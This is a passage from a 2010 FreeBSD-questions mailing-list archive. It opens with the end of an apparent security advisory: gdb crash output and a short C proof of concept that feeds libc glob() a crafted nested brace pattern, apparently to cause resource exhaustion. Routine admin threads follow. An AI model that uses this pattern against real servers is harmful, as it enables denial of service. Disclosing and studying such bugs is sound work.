%ecx,%esi 0x8056233 : test %eax,%eax 0x8056235 : je 0x8056281 0x8056237 : test %cl,%cl 0x8056239 : je 0x8056281 0x805623b : mov %edx,%ebx 0x805623d : mov 0xffffee7c(%ebp),%edx 0x8056243 : lea 0xffffee90(%ebp,%edx,4),%edi (gdb) i f Stack level 0, frame at 0xbfbfcc10: eip = 0x805622c in getline; saved eip 0x805047b called by frame at 0xbfbfcc14 Arglist at 0xbfbfcc08, args: Locals at 0xbfbfcc08, Previous frame's sp is 0xbfbfcc10 Saved registers: ebx at 0xbfbfcbfc, ebp at 0xbfbfcc08, esi at 0xbfbfcc00, edi at 0xbfbfcc04, eip at 0xbfbfcc0c (gdb) Testing program: ---snip--- #include #include #define MAXUSRARGS 100 #define MAXGLOBARGS 1000 void do_glob() { glob_t gl; char **pop; char buffer[256]; strcpy(buffer, "{A*/../A*/../A*/../A*/../A*/../A*/../A*}"); int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE; memset(&gl, 0, sizeof(gl)); gl.gl_matchc = MAXGLOBARGS; flags |= GLOB_LIMIT; if (glob(buffer, flags, NULL, &gl)) { printf("GLOB FAILED!\n"); return 0; } else // for (pop = gl.gl_pathv; pop && *pop && 1 < (MAXGLOBARGS-1); for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1); pop++) { printf("glob success"); return 0; } globfree(&gl); } main(int argc, char **argv) { do_glob(); do_glob(); } ---snip--- 05 March 2010 /kingcope From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 01:24:21 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 137C51065672 for ; Mon, 8 Mar 2010 01:24:21 +0000 (UTC) (envelope-from a_best01@uni-muenster.de) Received: from zivm-exrelay3.uni-muenster.de (ZIVM-EXRELAY3.UNI-MUENSTER.DE [128.176.192.20]) by mx1.freebsd.org (Postfix) with ESMTP id 4FF538FC13 for ; Mon, 8 Mar 2010 01:24:19 +0000 (UTC) X-IronPort-AV: E=Sophos;i="4.49,599,1262559600"; d="scan'208";a="27852691" Received: from zivmaildisp1.uni-muenster.de (HELO ZIVMAILUSER04.UNI-MUENSTER.DE) ([128.176.188.85]) by zivm-relay3.uni-muenster.de with ESMTP; 08 Mar 2010 02:24:18 +0100 Received: by ZIVMAILUSER04.UNI-MUENSTER.DE (Postfix, from userid 149459) id F0BB01B07C1; Mon, 8 Mar 2010 02:24:18 +0100 (CET) Date: Mon, 08 Mar 2010 02:24:17 +0100 (CET) From: Alexander Best Sender: Organization: Westfaelische Wilhelms-Universitaet Muenster To: Giorgos Keramidas Message-ID: In-Reply-To: <87bpf01d5m.fsf@kobe.laptop> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: Dan Nelson , freebsd-questions@freebsd.org Subject: Re: mailing list archive as mbox X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 01:24:21 -0000 Giorgos Keramidas schrieb am 2010-03-07: > On Sun, 07 Mar 2010 12:08:32 +0100 (CET), Alexander Best > wrote: > > Dan Nelson schrieb am 2010-03-07: > >> In the last episode (Mar 07), Alexander Best said: > >> > hi there, > >> > what are the steps i need to perform to get a copy of the entire > >> > mailingslist > >> > archive of lets say freebsd-current@ in mbox format? > >> Go to ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/ > >> where you > >> can download weekly gzipped archives of all the mailing lists > >> since > >> their > >> creation. > > thanks for the hint, but it would take hours to download all those > > gzipped > > files, extract them and merge them. > > i really need ALL the messages of a mailinglist. of course i could > > use the > > gzipped files you mentioned if i had some script for downloading > > extracting > > and merging all those files for me. > It's relatively easy to hack one. wow!!! thanks a billion. that's a great script. i pointed the vars containing ftp sites at mirrors near me which give me better download speed and will run the script for freebsd-current@ this night (~850 archives to pull). thanks again. great job. :-) alex > You can get a list of year names from the /archive/ directory itself > with curl(1) and a small amount of Python plumbing around curl: > >>> from subprocess import Popen as popen, PIPE > >>> import re > >>> yre = re.compile('^d.*\s(\d+)$') > >>> devnull = file("/dev/null") > >>> def years(): > ... curl = "curl -o /dev/stdout > ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/" > ... ylist = [] > ... for line in popen(curl, shell=True, stdout=PIPE, > stderr=devnull).stdout.readlines(): > ... m = yre.match(line) > ... if m: > ... ylist.append(int(m.group(1))) > ... return ylist > ... > >>> years() > [1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, > 2004, 2005, > 2006, 2007, 2008, 2009, 2010] > Then you can grab a list of the freebsd-current archives by looping > through the list of years and looking for the list of files that > match > the pattern: > ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/{year}/freebsd-current/(\d+.freebsd-current.gz) > Using a pipe to parse the output of curl you can collect a list of > all > the files that match this pattern, e.g.: > >>> def yearfiles(year): > ... base = > "ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/%4d/freebsd-current" > % year > ... curl = "curl -o /dev/stdout %s/" % base > ... flist = [] > ... fre = re.compile(r'^.*\D(\d+.freebsd-current.gz).*$') > ... for line in popen(curl, shell=True, stdout=PIPE, > stderr=devnull).stdout.readlines(): > ... m = fre.match(line) > ... if m: > ... flist.append("%s/%s" % (base, m.group(1))) > ... return flist > ... > >>> yearfiles(1994) > [] > >>> yearfiles(1995) > ['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/1.freebsd-current.gz', > ...] > Concatenating the file lists of all years and fetching each one of > them > with curl is then trivial: > >>> ylist = years() > >>> ylist > [1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, > 2004, 2005, 2006, 2007, 2008, 2009, 2010] > >>> flist = [] > >>> for y in ylist: > ... f = yearfiles(y) > ... flist = flist + f > ... > >>> len(flist) > 785 > Once you have the list of all the remote gzipped files, you can loop > through the list of files once more and fetch them locally. I'm only > going to fetch the first two files here, but feel free to fetch all > of > them in your version of the script: > >>> flist = flist[:2] > >>> flist > ['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz', > 'ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz'] > >>> from subprocess import call > >>> def getfile(url): > ... out = os.path.basename(url) > ... retcode = call(["curl", "-o", out, url], stderr=devnull) > ... if retcode == 0: > ... print "fetched %s" % url > ... return tuple([url, out, retcode]) > ... > >>> map(getfile, flist) > fetched > ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz > fetched > ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz > ... > [('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz', > '19950101.freebsd-current.gz', 0), > ('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz', > '19950226.freebsd-current.gz', 0)] > A slightly hackish script that collects all this to a more usable > whole > but lacks LOTS of error checking is the following: > #!/usr/bin/env python > from subprocess import call, Popen as popen, PIPE > import os > import re > import sys > devnull = file("/dev/null") > yre = re.compile('^d.*\s(\d+)$') > fre = re.compile(r'^.*\D(\d+.freebsd-current.gz).*$') > def years(): > curl = "curl -o /dev/stdout > ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/" > ylist = [] > for line in popen(curl, shell=True, stdout=PIPE, > stderr=devnull).stdout.readlines(): > m = yre.match(line) > if m: > ylist.append(int(m.group(1))) > return ylist > def yearfiles(year): > base = > "ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/%4d/freebsd-current" > % year > curl = "curl -o /dev/stdout %s/" % base > flist = [] > for line in popen(curl, shell=True, stdout=PIPE, > stderr=devnull).stdout.readlines(): > m = fre.match(line) > if m: > flist.append("%s/%s" % (base, m.group(1))) > return flist > def getfile(url): > out = os.path.basename(url) > retcode = call(["curl", "-o", out, url], stderr=devnull) > if retcode == 0: > print "fetched %s" % url > return tuple([url, out, retcode]) > if __name__ == "__main__": > print "Fetching year list." > ylist = years() > if len(ylist) == 0: > print "No yearly archives found." > sys.exit(1) > print "Fetching file lists for %d years." % len(ylist) > flist = [] > for y in ylist: > f = yearfiles(y) > flist = flist + f > if len(flist) == 0: > print "No archives found." > sys.exit(1) > print "Fetching %d archives." % len(flist) > fresult = map(getfile, flist) > fok = [fentry[1] for fentry in fresult if fentry[2] == 0] > ferr = [fentry[1] for fentry in fresult if fentry[2] != 0] > if len(fok) > 0: > print "" > print "Successfully downloaded %d archives" % len(fok) > for f in fok: > print " %s" % f > if len(ferr) > 0: > print "" > print "Failed to download %d archives" % len(ferr) > for f in ferr: > print " %s" % f > Running this with a couple of lines to limit the FTP connections a > bit > and fetch only parts of the freebsd-current mail archives produces > the > following output on my laptop: > keramida@kobe:/tmp$ python foo.py > Fetching year list. > Fetching file lists for 3 years. > Fetching 5 archives. > fetched > ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz > fetched > ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz > fetched > ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950305.freebsd-current.gz > fetched > ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950312.freebsd-current.gz > fetched > ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950319.freebsd-current.gz > Successfully downloaded 5 archives > 19950101.freebsd-current.gz > 19950226.freebsd-current.gz > 19950305.freebsd-current.gz > 19950312.freebsd-current.gz > 19950319.freebsd-current.gz > Without the limiting code that I removed from the example, it will > try > to fetch all the archive files for all 17 years. > Then you can simply type: > gzip -cd *.freebsd-current.gz > freebsd-current.mbox > to produce a single UNIX mbox file with all the messages. From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 02:17:54 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0232B1065670 for ; Mon, 8 Mar 2010 02:17:54 +0000 (UTC) (envelope-from Olivier.Nicole@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id A49448FC0C for ; Mon, 8 Mar 2010 02:17:53 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by mail.cs.ait.ac.th (Postfix) with ESMTP id D0A733A3899; Mon, 8 Mar 2010 09:17:51 +0700 (ICT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cs.ait.ac.th; h= references:subject:subject:in-reply-to:from:from:message-id:date :date:received:received:received; s=selector1; t=1268014671; x= 1269829071; bh=iSxN6ax9li9Y8nqq0bn6KwgrjX80b2GU5fTxHDqa18Y=; b=I SjK3tWrqulfwbdH8RdP5xlK0WnfIonVqVsKWJwyTcVPcaJoX/2eISexJCXSd0laI jgwlaKUj9d/xY6F0upr08RmSbF169QF2FitRNHbEArzTKfWBZxmHKkeNXrsNosZm NxDzs7jsygMPgGWYWhD7PJKdf1Vv1d2RNoRfUymbmI= X-Virus-Scanned: amavisd-new at cs.ait.ac.th Received: from mail.cs.ait.ac.th ([127.0.0.1]) by localhost (mail.cs.ait.ac.th [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id r8VLfmcveeuR; Mon, 8 Mar 2010 09:17:51 +0700 (ICT) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.cs.ait.ac.th (Postfix) with ESMTPS id 6F5223A3897; Mon, 8 Mar 2010 09:17:51 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.3/8.14.3/Submit) id o282HnCH051109; Mon, 8 Mar 2010 09:17:49 +0700 (ICT) (envelope-from on) Date: Mon, 8 Mar 2010 09:17:49 +0700 (ICT) Message-Id: <201003080217.o282HnCH051109@banyan.cs.ait.ac.th> From: Olivier Nicole To: contact@kikinovak.net In-reply-to: <4B937A1E.5010305@kikinovak.net> (message from Niki Kovacs on Sun, 07 Mar 2010 11:04:14 +0100) References: <4B937A1E.5010305@kikinovak.net> Cc: freebsd-questions@freebsd.org Subject: Re: Introduction X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 02:17:54 -0000 Hi, > I'm 100% GNU/Linux since 2001 > > No, not migrate all my machines to FreeBSD. The way I would do is, when I have to put up a new machine, I install FreeBSD, but the existing ones, I keep them with the existing OS, untill they need replacement. Best regards, Olivier From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 06:46:09 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2A132106564A for ; Mon, 8 Mar 2010 06:46:09 +0000 (UTC) (envelope-from ndhertbsd@gmail.com) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id 0395E8FC0A for ; Mon, 8 Mar 2010 06:46:08 +0000 (UTC) Received: by pwj1 with SMTP id 1so4006587pwj.13 for ; Sun, 07 Mar 2010 22:46:08 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=Yms3kQDOPvGtDw0wC+9FrKJiOAV8Y80SqjiGkY6CGOs=; b=u7h1jn64HPwlUe+e68AmZGcGGSwE+vLjKnMLnJVljyByaABjoZFUjvSvh0cz3F7W9l /r+WDbZKVmJizJNn0eMbod7WlFY7qCTnFuDbaZtUc2+GMEBLG3jQIe+sbrCzmOvDHkls VOTE5IVZjaPL3/iIrGAGP9bVobDA7f+kNGTDo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=s2G2KvQUzGi1cXQ2/9bPSWW/TtCVQinsto4c420cWYtj/XarYIbZxecHrLp6RfEfrY xYs4imlXGHcfRclDidVI663rZS7htUh/QCQcij+UMqkbqfvoc3Z85BGlLX5oftI6dl5/ JCuc6hZuDuil7UjhWbrYMCe39wfcYsatdUvdg= MIME-Version: 1.0 Received: by 10.142.6.31 with SMTP id 31mr1331278wff.79.1268030768390; Sun, 07 Mar 2010 22:46:08 -0800 (PST) Date: Mon, 8 Mar 2010 07:46:08 +0100 Message-ID: From: n dhert To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: gnome install: stuck X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 06:46:09 -0000 Laptop with Freebsd 8.0, with gnome installed and gdm_enable="YES" gnome_enable="YES" in /etc/rc.conf, no changes to /etc/ttys (that is: ttyv8 ... xdm off) After reboot, system starts in gnome, gives a greenish background, a taskbar at the bottom, with only date/time, a button for 'Universal access preferences' and an icon for the battery. In the desktop a grey window with 2 buttons labeled 'Restart' and 'Shutdown'. Clicking either of them makes them be blueish for the time the mouse button in pressed, but nothing happens. I am stuck in Gnome. Why and how to solve it ? (I can only do Ctrl-Alt-F1 to get to the command prompt, but even that I have to do twice: the first time it gives a flickering almost entirely black screen with at the top some half line of flickering ascii characters (can't read), doing a Ctrl-Alt-F9 (back to gnome) and again Ctrl-Alt-F1 gives me a stable login: prompt.) From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 07:08:59 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8F4B1106566C for ; Mon, 8 Mar 2010 07:08:59 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id 64A248FC19 for ; Mon, 8 Mar 2010 07:08:59 +0000 (UTC) Received: by pwj1 with SMTP id 1so4014458pwj.13 for ; Sun, 07 Mar 2010 23:08:58 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=EbZVAXuD4tB5WqePfcImuNGEisa4VDdbscb6B1RTChc=; b=Has172KqRPL0434xa9HTdIlXVAAom4xHxfr8vHs4edd/xx3IPMEoRxW9Ww2AEJ+oIo 7a0sbGrDtyj214Bi4/MdCCG7OjLV7VPgp5fpuRk9/YAvgKZQk792p9lnZ/K4mDi3CI07 OyVrps6lJaLXGhQ84BToJlFS6xM9fyWu1edtY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=MBqHZR9rvngkzmZqFpTmQY4rvP6tZxuEu3QiExenzNtYcqt6axAgwDyFzmAIo9SEj5 VW7O8O24ZfO41WWFJnz8klrlOMwDPIT+WdK7qZuMUj7pNI+gvvH4VNL/eVy6DYrsRQc2 o4e1DVrMq+OsvOG21FbdWUn5nggOnnX5Xen5o= MIME-Version: 1.0 Received: by 10.142.56.16 with SMTP id e16mr3006326wfa.109.1268032138684; Sun, 07 Mar 2010 23:08:58 -0800 (PST) In-Reply-To: References: Date: Mon, 8 Mar 2010 01:08:58 -0600 Message-ID: <6201873e1003072308g641eedffpf77757179dc54b54@mail.gmail.com> From: Adam Vande More To: n dhert Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: gnome install: stuck X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 07:08:59 -0000 On Mon, Mar 8, 2010 at 12:46 AM, n dhert wrote: > Laptop with Freebsd 8.0, with gnome installed and > gdm_enable="YES" > gnome_enable="YES" > in /etc/rc.conf, no changes to /etc/ttys (that is: ttyv8 ... xdm off) > After reboot, system starts in gnome, gives a greenish background, > a taskbar at the bottom, with only date/time, a button for 'Universal > access preferences' and an icon for the battery. > In the desktop a grey window with 2 buttons labeled 'Restart' and > 'Shutdown'. > Clicking either of them makes them be blueish for the time the mouse > button in pressed, but nothing happens. > I am stuck in Gnome. Why and how to solve it ? > > (I can only do Ctrl-Alt-F1 to get to the command prompt, but even that > I have to do twice: the first time it gives a flickering almost entirely > black > screen with at the top some half line of flickering ascii characters (can't > read), doing a Ctrl-Alt-F9 (back to gnome) and again Ctrl-Alt-F1 gives me a > stable login: prompt.) > > Sounds like you are in GDM, not gnome. There's probably a login button somewhere, you need to authenticate with the system then you'll be logged into the desktop. Also, it's just Alt-F9 to return to the graphical display, ctrl not needed there. -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 07:31:36 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C5CDC1065670 for ; Mon, 8 Mar 2010 07:31:36 +0000 (UTC) (envelope-from j.mckeown@ru.ac.za) Received: from b.mail.ru.ac.za (b.mail.ru.ac.za [IPv6:2001:4200:1010::25:2]) by mx1.freebsd.org (Postfix) with ESMTP id D58828FC0A for ; Mon, 8 Mar 2010 07:31:35 +0000 (UTC) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=ru-msa; d=ru.ac.za; h=Received:From:Organization:To:Subject:Date:User-Agent:References:In-Reply-To:X-Face:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id:X-Virus-Scanned:X-Authenticated-User; b=dS9gd7Qkl/uSWRUNTyxsRlNxIPUXmIwNmSr4tGJTJjhsXb1HZ1RuQgbkisBB2rNZxB4UOJTHa78RsjxYgebE6Rk4ap1DYI+wQ2JbEBr3e2RPqZzVDyJrJbUtOan0zBR0; Received: from vorkosigan.ru.ac.za ([2001:4200:1010:1058:219:d1ff:fe9f:a932]:50791) by b.mail.ru.ac.za with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69 (FreeBSD)) (envelope-from ) id 1NoXR6-00086V-TD for freebsd-questions@freebsd.org; Mon, 08 Mar 2010 09:31:32 +0200 From: Jonathan McKeown Organization: Rhodes University To: freebsd-questions@freebsd.org Date: Mon, 8 Mar 2010 09:31:32 +0200 User-Agent: KMail/1.9.10 References: <201003061302.o26D2KBN003070@dc.cis.okstate.edu> In-Reply-To: <201003061302.o26D2KBN003070@dc.cis.okstate.edu> X-Face: $@VrUx^RHy/}yu]jKf/<4T%/d|F+$j-Ol2"2J$q+%OK1]&/G_S9(=?utf-8?q?HkaQ*=60!=3FYOK=3FY!=27M=60C=0A=09aP=5C9nVPF8Q=7DCilHH8l=3B=7E!4?= =?utf-8?q?2HK6=273lg4J=7Daz?=@1Dqqh:J]M^"YPn*2IWrZON$1+G?oX3@ =?utf-8?q?k=230=0A=0954XDRg=3DYn=5FF-etwot4U=24b?=dTS{i X-Virus-Scanned: b.mail.ru.ac.za (2001:4200:1010::25:2) X-Authenticated-User: s0900137 from vorkosigan.ru.ac.za (2001:4200:1010:1058:219:d1ff:fe9f:a932) using auth_plaintext Subject: Re: Booting MFS from Secondary Partition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 07:31:36 -0000 On Saturday 06 March 2010 15:02:20 Martin McCormick wrote: > Fbsd1 writes: > > just dd the image to what ever drive you want > > That is the goal. The challenge is to launch a script > that detects when the boot device has been unmounted as dd will > not work on an active file system. Martin it may or may not work, but there's a sysctl for the geom subsystem which might do what you want. sysctl kern.geom.debugflags=16 This used to be used (for all i know still can be) to allow writing metadata for (eg) building a gmirror on a mounted disk - it's often referred to as the ``allow-footshooting'' flag. That might allow you to dd your image onto the mounted disk - i'd either try it with a handy spare system or wait for someone more expert than i to comment, though. Jonathan From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 07:59:07 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 98E47106567E for ; Mon, 8 Mar 2010 07:59:07 +0000 (UTC) (envelope-from eitanadlerlist@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 08AB18FC1E for ; Mon, 8 Mar 2010 07:58:25 +0000 (UTC) Received: by fxm23 with SMTP id 23so4494410fxm.3 for ; Sun, 07 Mar 2010 23:58:25 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type :content-transfer-encoding; bh=GkT+1olvOA7+Of1IUcjmsa0bXp3rjkVSxWsNd4Lebfs=; b=ZzTCsF1I/QyoCaDzYZRCd77tkqek6VhRPE4EnO9IUR1KUoa0cehXR5b+z2NpdOZoCL wqVlPTKAq2WXgTPg3IOArKnCjX4bAJJgntCAFB9tcLC8DJUQW5moIstkt/FMQTzCYZPk AVTUJtNokbJhVkFmx0MuqkXnHwyn1EwjZmFZc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type:content-transfer-encoding; b=wYmQ8kt/tJSaGKjySOVe8238Io6f2hpKJyOma6uGeZRkuZW4BZ94AjraZBqmLokSRu MmJohtxR1iXBwJfaoQ8Xc5db3yZHZxMYVIukcoOI27SKrAch1tQ54ldLtfOQ477W18hc dVkB0JYAgxmsP3IfV49OrLUk6WmzszyFWqqVk= MIME-Version: 1.0 Received: by 10.239.183.74 with SMTP id t10mr407005hbg.85.1268035103083; Sun, 07 Mar 2010 23:58:23 -0800 (PST) In-Reply-To: References: <201002281924.o1SJO6df078229@freefall.freebsd.org> From: Eitan Adler Date: Mon, 8 Mar 2010 09:58:03 +0200 Message-ID: To: Gerald Pfeifer Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: questions@freebsd.org Subject: Re: ports/144357: emulators/wine build failure X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 07:59:07 -0000 > On Mon, 1 Mar 2010, Eitan Adler wrote: >>> Which version of flex are you using (you can find out running >>> /usr/local/bin/flex --version)? >> %flex --version >> flex version 2.5.4 > > that is the system version of flex; I was specifically asking for > the one in /usr/local/bin/flex which is used by the wine port (since > the system one is too old for wine). Interesting - I just used whatever flex was in my path. Is wine making the same mistake? % /usr/local/bin/flex --version flex 2.5.35 > It should not, but if you can rebuild flex and Wine without this, that > would be an interesting data point. > My take it this is that _something_ is causing flex to generate incorrect > code or the toolchain is miscompiling something. =A0That's why I asked ab= out > the version of flex you are using, that is the one thing I could think of= . > (Over here it is flex 2.5.35, the package 2.5.35_3.) Same here: flex-2.5.35_3 > > Gerald > From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 09:41:37 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 674021065675 for ; Mon, 8 Mar 2010 09:41:37 +0000 (UTC) (envelope-from gerald@pfeifer.com) Received: from vexpert.dbai.tuwien.ac.at (vexpert.dbai.tuwien.ac.at [128.131.111.2]) by mx1.freebsd.org (Postfix) with ESMTP id 2098A8FC2D for ; Mon, 8 Mar 2010 09:41:36 +0000 (UTC) Received: from acrux.dbai.tuwien.ac.at (acrux.dbai.tuwien.ac.at [128.131.111.60]) by vexpert.dbai.tuwien.ac.at (Postfix) with ESMTP id D10A01E058; Mon, 8 Mar 2010 10:41:34 +0100 (CET) Received: by acrux.dbai.tuwien.ac.at (Postfix, from userid 1203) id 90B431604A; Mon, 8 Mar 2010 10:41:35 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by acrux.dbai.tuwien.ac.at (Postfix) with ESMTP id 7F0D816048; Mon, 8 Mar 2010 10:41:35 +0100 (CET) Date: Mon, 8 Mar 2010 10:41:35 +0100 (CET) From: Gerald Pfeifer To: Eitan Adler In-Reply-To: Message-ID: References: <201002281924.o1SJO6df078229@freefall.freebsd.org> User-Agent: Alpine 1.99 (LSU 1142 2008-08-13) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: questions@freebsd.org Subject: Re: ports/144357: emulators/wine build failure X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 09:41:37 -0000 On Mon, 8 Mar 2010, Eitan Adler wrote: > Interesting - I just used whatever flex was in my path. Is wine making > the same mistake? > % /usr/local/bin/flex --version > flex 2.5.35 The following in wine/Makefile CONFIGURE_ENV= ... FLEX="${LOCALBASE}/bin/flex" takes care of using the ports version instead of the base one. Gerald From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 09:59:19 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 11B34106564A for ; Mon, 8 Mar 2010 09:59:19 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id A3F708FC13 for ; Mon, 8 Mar 2010 09:59:18 +0000 (UTC) Received: from r55.edvax.de (port-92-195-209-204.dynamic.qsc.de [92.195.209.204]) by mx01.qsc.de (Postfix) with ESMTP id 6E81B3D78C; Mon, 8 Mar 2010 10:59:15 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id o289xFh4001495; Mon, 8 Mar 2010 10:59:15 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Mon, 8 Mar 2010 10:59:15 +0100 From: 